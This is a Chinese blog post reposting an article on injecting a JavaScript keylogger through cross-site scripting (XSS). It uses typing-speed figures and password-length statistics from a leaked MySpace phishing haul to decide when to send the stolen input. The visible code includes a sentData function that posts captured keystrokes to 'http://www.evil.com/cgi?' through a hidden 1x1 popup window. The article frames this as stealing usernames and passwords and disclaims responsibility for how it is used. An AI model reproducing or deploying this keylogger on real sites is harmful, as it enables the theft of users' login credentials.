手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆

利用跨站脚本攻击(XSS)摧毁Web

首页 > PHP >

关于xss的攻击与防范,我在08年09年写过一些文章,有自己记录的,也有摘抄的。昨天我又看到一篇讲攻击的文章,记录一下,也可以与以前进行一下对比。

本文是写给那些不拿XSS当Web应用严重漏洞的人看的。 实际上,人们可以利用XSS漏洞大捞一笔。本文是在热爱黑客技术 但从不攻击他人的网站上发表的,所以我不会对这里介绍的知识的使用方式负任何责任。

一、引言

最近,我对XSS兴趣十足,所以决定写一篇文章来详细介绍如何注入一个Javascript按键记录器,当然,人们既可以利用本文 介绍的知识来执行XSS入侵过滤,也可以使用这里介绍的Javascript按键记录器来盗取用户名、密码和用户证书。 让人揪心的是,即使不是Javascript专家的人,也能够写出行之有效的Javascript恶意代码的,只要你对web比较了解就行了。在本文的续 篇中,我将为读者提供两种本质相同但风格各异的Javascript按键记录器。

要想读懂本文,你必须具备下列知识:

⒈ 如何写Html的网页表单。

⒉ 如何写Javascript DOM 对象。

3. 了解Http协议的基本功能。

4. 了解Javascript伪装技术。

⒌ 获悉Burp Suite1.1的用法。

二、我们的XSS的功能

在对XSS漏洞进行利用之前,我们必须知道这个XSS利用应该具备哪些功能。也就是说,要明确XSS攻击的目标,比如摧毁一个站 点,进行用户重定向或是窃取用户证书(这才是我们最感兴趣的!!)。 就本文来说,我们的目标是打造一个具备按键记录器功能的XSS,所以,我们必须从用户的角度来考察登陆表单的情况,比如说用户名和密码的平均长度是多少? 用户的平均打字速度是多少?诸如此类的信息,我们会在打造能运行在IE、Firefox、Opera和NetScape浏览器上的Javascript按 键记录器的时候派上用场,当然,我们会用不同的风格来实现这个按键记录器。我们的程序能窃取用户的认证信息,或者仅依靠计时(比如 在一段时间后自动运行)或仅基于密码长度(比如在用户键入5个字符后自动运行)或者是基于计时和密码长度(例如,可能进行某种字符踩点,像检测是否按下 Enter键或Tab键)。

三、打字速度有多快?

我们为什么要考虑这个因素呢?因为必须使我们的按键记录器更行之有效。为了衡量每分钟的打字速度,一个单词被标准化为5个字符或5 次按键。一项对普通电脑用户的研究表明,在抄写时平均录入速度是每分33个单词,在写作时就只有每分钟19单词了。[8]进行了类似的研究,它将所有人划 分为“快”、“中”、“慢”三组,他们的平均速率依次为为40wpm(wpm即每分钟字数)、35wpm 和23wpm。 对于练二指禅的用户,他们靠记忆输入文本时速度能够达到37wpm,照文本输入时速度则在27wpm。

打字员平均能够达到50—70wpm,而一些职位需要80—95wpm(这通常是速录职位和其它录入行业的最慢要求),一些老练的 打字员的速度甚至超过120wpm。

通过使用针对个人定制的接口,例如四肢瘫痪的物理学家斯蒂芬森·霍金使用电键和Walt Woltosz. Due制作的适配软件,录入速度可以达到15wpm。 由于他行动迟缓,它的录入接口后来升级为检测眼神的红外照相机,当然实际的wpm我们无处得知。

四、密码和用户名的平均长度是多少?

由于缺乏这样的调查数据,所以这的确是一个难以回答的问题。但最近,一些攻击者在MySpace发动网络钓鱼,结果34,000个 用户名和密被曝光,我们可以藉此得到一些数据。这次攻击相当小儿科:攻击者伪造了一个MySpace登陆页面,当用户通过该页面登录时,他们照例输入用户 名和密码,这些数据被分发到各被俘获的Web服务器上,随后攻击者就在这些服务器上收集个人信息。

据MySpace估计,在这个钓鱼网页关闭之前已有10多万人受到攻击。我的数据来自于两处收集点,当一小部分人意识到遭受钓鱼攻 击而告发后,这些数据已被清除。进过分析这些数据,结论如下:

密码长度:

65%的密码的长度小于等于8个字符,17%的密码的长度小于等于6个字符,密码的平均长度为8个字符。

具体来说,密码的长度分布情况如下所示:

1-4     0.82%

5        1.1%

6        15%

7        23%

8        25%

9        17%

10       13%

11      2.7%

12      0.93%

13-32 0.93%

仅有3.8%的密码是由一个字典中的单词构成,另外的12%是一个单词加上一个数字组成——跟前面一样,其中2/3的最后一位都是 1。

纯数字型 1.3%

纯字母型 9.6%

数字字母型 81%

非数字字母型 8.3%

利用好上述数据

现在,我们知道了密码长度极可能是8个字符,同时假定用户名长度为7个字符,由于普通用户根据记忆输入本文和密码时的平均打字速度 是37wpm,所以:

用户名+口令=约15字符

一个单词=5字符

这意味着:用户名+密码 = 3 个单词,所以:

37/3 = 1/x => 37x = 1 => x =1/37 分钟

或x = 1/37 * 60000毫秒 = 1621毫秒(我会解释这里为什么要转换为毫秒)

现在,我们已知道一个用户输入其用户名和密码的平均时间,我们同时知道,他还可能用Tab或Enter键来切换文本域,之后才会提 交表单数据。所以在用户进入登入页面后,按键记录器就开始核对时间——包括Enter,Tab键和密码的长度。

现在我们开始打造按键记录器。在我们的按键记录器中将用到DHTML的按键响应事件,并会在表 单中注入一Javascript函数setTimeout 和window对象以及调用window.open方法来执行我们的代码(如果我们使用document.location的DOM对象或者使用 document对象,用户无需重定向到另一个页面就可以窃取其密码并进行钓鱼攻击)。

如果知道要攻击的网站的密码安全策略的话,能够使按键记录器变得更加有效,例如,安全策略规定 密码由三个字母、两个特殊字符和三个数字组合,我们就可以专门设计一个能够检测相应密码格式的按键记录器,并在检测到用户开始键入内容后自动执行(通过核 对字符或长度),对于用户名也是同样的道理。

五、Javascript按键记录器的第一个版本……

由于下面的这个版本的按键记录器不是最有效的,所以在这里将要对它进行大量的修改。我们的第一个按键记录器的代码很简单,目的在于 让大家了解有关基础知识,目前我们不必担心Javascript的注入机制,我们首先打造一个可工作的代码即可。在下面的代码里,我们建立了两个变量 counter 和arrayOfChars,第一个变量记录用户的按键次数,第二个变量保存用户在发生前所有按下的字符。发送这些字符时,我们将调用 document.location对象,但这也意味着用户将会从原来的web页面重定向到另一个web页面!为简单起见,我们第一个版本的按键记录器就 先这样了。

示例代码1:按键记录器的简易版,用来记录三字母的单词。

大小: 24.07 K
尺寸: 450 x 336
浏览: 1281 次
点击打开新窗口浏览全图

六、Javascript按键记录器的第二个版本……

我们的代码已经可以有条件的执行了,单如何才能更有效呢?是的,如果我们使用setTimeout对象的话,通过对输入用户名和密 码的时间长度的有效的假定(通过利用前面提供的数据),就能获得更好的效果。

所以,接下来就是了解如何让setTimeout干活了!

SetTimeout()

使用window.setTimeout(),我们可以规定某段Javascript代码(或者说表达式)执行规定的毫秒,从 setTimeout()方法调用时开始计时。该方法的一般语法是:[11]

setTimeout ( expression, timeout );

其中,expression是在timeout毫秒后执行的一些Javascript代码。[11]

SetTimeout()也返回一个数字式的timeout ID,能够用来跟踪timeout。它最用于clearTimeout()方法见下文P>

下面是一个简单的示示例:

示例代码2
  1. <input type="button" name="clickMe" value="Click me and wait!" onclick="setTimeout('alert(\'Surprise!\')', 5000)">  

 

下面是使用onkeypress事件的html表单:
大小: 5.49 K
尺寸: 450 x 64
浏览: 1272 次
点击打开新窗口浏览全图

每当一个键被按下时,以上所述代码就会执行我们的KeyLogger函数。现在,我们的函数使用了一个叫counter的全局变 量,用户导航到其它web页面之前的数据一直存储在该变量内!

要想注入上述代码,我们必须先重载网页里的的表单事件(如果表单存在的话!)。这意味着,我们必须在该事件之前插入我们的代码,然 后注释掉其余的代码!(我将会在下面进行详细介绍)。我们将要写入的代码表达式将以下列形式使用Javascript中的timeout:

JavaScript代码
  1. function autoTrigger() { setTimeout('sentData()',1621 ); }  

 

示例代码3:这个函数将要替换示例代码1中第26行的sentData方法

示例代码2中的html代码根本用不着修改,我们只须修改第28行!如果输入的单词的长度大于3个字符,我们的代码就会在1621 毫秒后自动触发……

为了使记录器更好玩,我们需要修改执条件和html的表单输入。所以我们需要检测enter键和一些关键字,并假设用户名和密码的 长度大于15字符……。

为此,我们唯一要修改的是 sentData()函数,具体如下所示:

JavaScript代码
  1. function sentData(_keyNum){  
  2.    if (arrayOfCharsToSent.length <= 15 && _keyNum == 13) {// 13 是enter的 ascii 码 ….  
  3.       window.open('http://www.evil.com/cgi?'+arrayOfCharsToSent.toString(),  
  4.       'jav',  
  5.       'menubar=no,toolbar=no,scrollbars=no,width=1,height=1,resizable=yes');  
  6.       new_Win.blur()// This code is going to minimize the popup window  
  7.     }  
  8. }  

 

如今,我们的按键记录器会变成下面的样子:

大小: 22.39 K
尺寸: 450 x 352
浏览: 1308 次
点击打开新窗口浏览全图

--EOF--

原文好象也是摘抄来的。我这里就不贴出来了。而且原文里也没有注意代码的准确性。。不过看情况好象也是从51cto转的,只是找不到51CTO的原文。将就点看吧。

顺便附上我以前发表过的博客,也可以做个参考:




本站采用创作共享版权协议, 要求署名、非商业和保持一致. 本站欢迎任何非商业应用的转载, 但须注明出自"易栈网-膘叔", 保留原始链接, 此外还必须标注原文标题和链接.

Tags: xss

« 上一篇 | 下一篇 »

只显示10条记录相关文章

PHP的XSS攻击过滤函数 (浏览: 43840, 评论: 2)
让我吃惊的:phpinfo跨站脚本漏洞 (浏览: 24041, 评论: 0)
淘宝QA上关于XSS的两篇文章(据说还有后续) (浏览: 23536, 评论: 0)
跨站脚本攻击防范的几个方法 (浏览: 23084, 评论: 0)
微软的防XSS攻击类库 (浏览: 22587, 评论: 0)
利用窗口引用漏洞和XSS漏洞实现浏览器劫持 (浏览: 22402, 评论: 0)
来自51CTO的跨站脚本攻击分析(上) (浏览: 20145, 评论: 1)
基于IE的MIME sniffing功能的跨站点脚本攻击 (浏览: 19093, 评论: 0)
突破XSS字符数量限制执行任意JS代码 (浏览: 18959, 评论: 0)
linux filename xss攻击 (浏览: 18697, 评论: 0)

发表评论

评论内容 (必填):